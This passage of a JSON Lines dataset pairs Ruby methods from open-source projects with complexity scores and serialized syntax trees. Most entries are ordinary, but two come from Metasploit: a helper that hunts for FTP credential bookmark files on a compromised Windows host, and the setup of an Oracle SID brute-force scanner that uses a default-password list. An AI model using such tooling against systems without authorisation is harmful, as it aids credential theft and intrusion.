end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"next\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@array\"]},\"length\"]},\"<=\",{\"type\":\"ivar\",\"children\":[\"@offset\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chain\"]},\"next\"]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@offset\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"es\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@array\"]},\"length\"]},\">\",{\"type\":\"ivar\",\"children\":[\"@offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@es\"]},\"dup\"]},{\"type\":\"ivar\",\"children\":[\"@es\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@array\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offset\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"emit_events\",{\"type\":\"ivar\",\"children\":[\"@tag\"]},{\"type\":\"lvar\",\"children\":[\"es\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"next\"]}]}]}","id":"a9d10dc1-a2d5-48b8-85de-1a018873ac0a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/bulletproof_ftp.rb","start_line":166,"raw_source":"def get_bookmarks(path)\n    bookmarks = []\n\n    if !directory?(path)\n      return bookmarks\n    end\n\n    session.fs.dir.foreach(path) do |entry|\n      if directory?(\"#{path}\\\\#{entry}\") && (entry != '.') && (entry != '..')\n        bookmarks.concat(get_bookmarks(\"#{path}\\\\#{entry}\"))\n      elsif entry =~ (/bpftp.dat/) && file?(\"#{path}\\\\#{entry}\")\n        vprint_good(\"BulletProof FTP Bookmark file found at #{path}\\\\#{entry}\")\n        bookmarks << \"#{path}\\\\#{entry}\"\n      end\n    end\n    return bookmarks\n  end","complexity_score":26.7,"ast_json":"{\"type\":\"def\",\"children\":[\"get_bookmarks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bookmarks\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"directory?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmarks\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"fs\"]},\"dir\"]},\"foreach\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"directory?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"!=\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"!=\",{\"type\":\"str\",\"children\":[\"..\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmarks\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"get_bookmarks\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"=~\",{\"type\":\"begin\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"bpftp.dat\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BulletProof FTP Bookmark file found at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmarks\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmarks\"]}]}]}]}","id":"98adf77a-0cd6-4ece-a511-d0af0990b4a8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations/configuration.rb","start_line":146,"raw_source":"def reconfigure(spec)\n    raise _(\"VM has no EMS, unable to apply reconfigure spec\") unless ext_management_system\n\n    raw_reconfigure(spec)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reconfigure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spec\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"VM has no EMS, unable to apply reconfigure spec\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raw_reconfigure\",{\"type\":\"lvar\",\"children\":[\"spec\"]}]}]}]}","id":"c1e05576-e104-4b99-8ce7-ef63b1679d2f"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/web.rb","start_line":99,"raw_source":"def build(cfg)\n      cfg.freeze\n      m = cfg.middlewares\n\n      rules = []\n      rules = [[:all, {\"cache-control\" => \"private, max-age=86400\"}]] unless ENV[\"SIDEKIQ_WEB_TESTING\"]\n\n      ::Rack::Builder.new do\n        use Rack::Static, urls: [\"/stylesheets\", \"/images\", \"/javascripts\"],\n          root: ASSETS,\n          cascade: true,\n          header_rules: rules\n        m.each { |middleware, block| use(*middleware, &block) }\n        use CsrfProtection if cfg[:csrf]\n        run Sidekiq::Web::Application.new(self.class)\n      end\n    end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cfg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cfg\"]},\"freeze\"]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cfg\"]},\"middlewares\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rules\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SIDEKIQ_WEB_TESTING\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"rules\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"all\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cache-control\"]},{\"type\":\"str\",\"children\":[\"private, max-age=86400\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Builder\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Static\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"urls\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/stylesheets\"]},{\"type\":\"str\",\"children\":[\"/images\"]},{\"type\":\"str\",\"children\":[\"/javascripts\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"const\",\"children\":[null,\"ASSETS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cascade\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"header_rules\"]},{\"type\":\"lvar\",\"children\":[\"rules\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"middleware\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"middleware\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cfg\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"csrf\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[null,\"CsrfProtection\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Web\"]},\"Application\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}]}]}]}","id":"553b09ea-26d7-433b-9e34-2d6068403dc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_vulnerability_reads_cluster_agent_spec.rb","start_line":102,"raw_source":"def add_identifier!(project_id:)\n    identifiers_table.create!(\n      project_id: project_id,\n      fingerprint: SecureRandom.hex(20),\n      external_id: \"cwe-2021-1234\",\n      external_type: \"cwe\",\n      name: \"CWE-73\"\n    )\n  end","complexity_score":3.75,"ast_json":"{\"type\":\"def\",\"children\":[\"add_identifier!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifiers_table\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_id\"]},{\"type\":\"str\",\"children\":[\"cwe-2021-1234\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_type\"]},{\"type\":\"str\",\"children\":[\"cwe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"CWE-73\"]}]}]}]}]}","id":"a2e6364c-6752-43f1-bff1-da8920e96df4"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/parameter_filter.rb","start_line":93,"raw_source":"def compile_filters!(filters)\n      @no_filters = filters.empty?\n      return if @no_filters\n\n      @regexps, strings = [], []\n      @deep_regexps, deep_strings = nil, nil\n      @blocks = nil\n\n      filters.each do |item|\n        case item\n        when Proc\n          (@blocks ||= []) << item\n        when Regexp\n          if item.to_s.include?(\"\\\\.\")\n            (@deep_regexps ||= []) << item\n          else\n            @regexps << item\n          end\n        else\n          s = Regexp.escape(item.to_s)\n          if s.include?(\"\\\\.\")\n            (deep_strings ||= []) << s\n          else\n            strings << s\n          end\n        end\n      end\n\n      @regexps << Regexp.new(strings.join(\"|\"), true) unless strings.empty?\n      (@deep_regexps ||= []) << Regexp.new(deep_strings.join(\"|\"), true) if deep_strings\n    end","complexity_score":50.0,"ast_json":"{\"type\":\"def\",\"children\":[\"compile_filters!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filters\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@no_filters\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters\"]},\"empty?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@no_filters\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@regexps\"]},{\"type\":\"lvasgn\",\"children\":[\"strings\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deep_regexps\"]},{\"type\":\"lvasgn\",\"children\":[\"deep_strings\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@blocks\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@blocks\"]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"\\\\.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deep_regexps\"]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@regexps\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"\\\\.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deep_strings\"]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strings\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strings\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@regexps\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strings\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deep_strings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deep_regexps\"]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deep_strings\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]},{\"type\":\"true\",\"children\":[]}]}]},null]}]}]}","id":"8b8cfa77-a8e8-4a9c-a924-5d533c1814e4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/blob_helper.rb","start_line":279,"raw_source":"def edit_button_tag(blob, common_classes, text, edit_path, project, ref)\n    if !on_top_of_branch?(project, ref)\n      edit_disabled_button_tag(text, common_classes)\n      # This condition only applies to users who are logged in\n    elsif !current_user || (current_user && can_modify_blob?(blob, project, ref))\n      edit_link_tag(text, edit_path, common_classes)\n    elsif can?(current_user, :fork_project, project) && can?(current_user, :create_merge_request_in, project)\n      edit_fork_button_tag(common_classes, project, text, edit_blob_fork_params(edit_path))\n    end\n  end","complexity_score":24.9,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_button_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob\"]},{\"type\":\"arg\",\"children\":[\"common_classes\"]},{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"edit_path\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_top_of_branch?\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"edit_disabled_button_tag\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"common_classes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"can_modify_blob?\",{\"type\":\"lvar\",\"children\":[\"blob\"]},{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"edit_link_tag\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"edit_path\"]},{\"type\":\"lvar\",\"children\":[\"common_classes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"fork_project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_merge_request_in\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"send\",\"children\":[null,\"edit_fork_button_tag\",{\"type\":\"lvar\",\"children\":[\"common_classes\"]},{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"edit_blob_fork_params\",{\"type\":\"lvar\",\"children\":[\"edit_path\"]}]}]},null]}]}]}]}","id":"5203daac-1f5d-4eff-bd62-a770c71f896c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/tap_formatter.rb","start_line":39,"raw_source":"def report_highlighted_area(highlighted_area)\n        space_area  = highlighted_area.source_buffer.slice(0...highlighted_area.begin_pos)\n        source_area = highlighted_area.source\n        output.puts(\"# #{' ' * Unicode::DisplayWidth.of(space_area)}\" \\\n                    \"#{'^' * Unicode::DisplayWidth.of(source_area)}\")\n      end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_highlighted_area\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"highlighted_area\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"space_area\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"highlighted_area\"]},\"source_buffer\"]},\"slice\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"highlighted_area\"]},\"begin_pos\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_area\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"highlighted_area\"]},\"source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"# \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Unicode\"]},\"DisplayWidth\"]},\"of\",{\"type\":\"lvar\",\"children\":[\"space_area\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Unicode\"]},\"DisplayWidth\"]},\"of\",{\"type\":\"lvar\",\"children\":[\"source_area\"]}]}]}]}]}]}]}]}]}","id":"d293e0df-feb5-4f41-a529-4a2eb4c8580a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/vacuum/feeds_vacuum.rb","start_line":27,"raw_source":"def inactive_users_lists\n    List.where(account_id: inactive_users.select(:account_id))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inactive_users_lists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"List\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inactive_users\"]},\"select\",{\"type\":\"sym\",\"children\":[\"account_id\"]}]}]}]}]}]}","id":"8ff8258f-b0ea-4560-b4b7-ea7721c036aa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb","start_line":11,"raw_source":"def initialize\n    super(\n      'Name' => 'Oracle XML DB SID Discovery via Brute Force',\n      'Description' => %q{\n          This module attempts to retrieve the sid from the Oracle XML DB httpd server,\n          utilizing Pete Finnigan's default oracle password list.\n      },\n      'References' => [\n        [ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],\n        [ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],\n      ],\n      'Author' => [ 'nebulus' ],\n      'License' => MSF_LICENSE\n    )\n\n    register_options(\n      [\n        OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),\n        Opt::RPORT(8080),\n      ]\n    )\n  end","complexity_score":7.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Oracle XML DB SID Discovery via Brute Force\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module attempts to retrieve the sid from the Oracle XML DB httpd server,\\n\"]},{\"type\":\"str\",\"children\":[\"          utilizing Pete Finnigan's default oracle password list.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.petefinnigan.com/default/oracle_default_passwords.csv\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"nebulus\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CSVFILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file that contains a list of default accounts.\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"install_root\"]},{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"oracle_default_passwords.csv\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8080]}]}]}]}]}]}","id":"54602d9e-3cc1-4b43-a311-84bb44d7f1ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/entry/service.rb","start_line":32,"raw_source":"def command\n            value[:command]\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"command\"]}]}]}","id":"e9bc283f-83c4-47b9-acef-b10fd1d3ba66"}
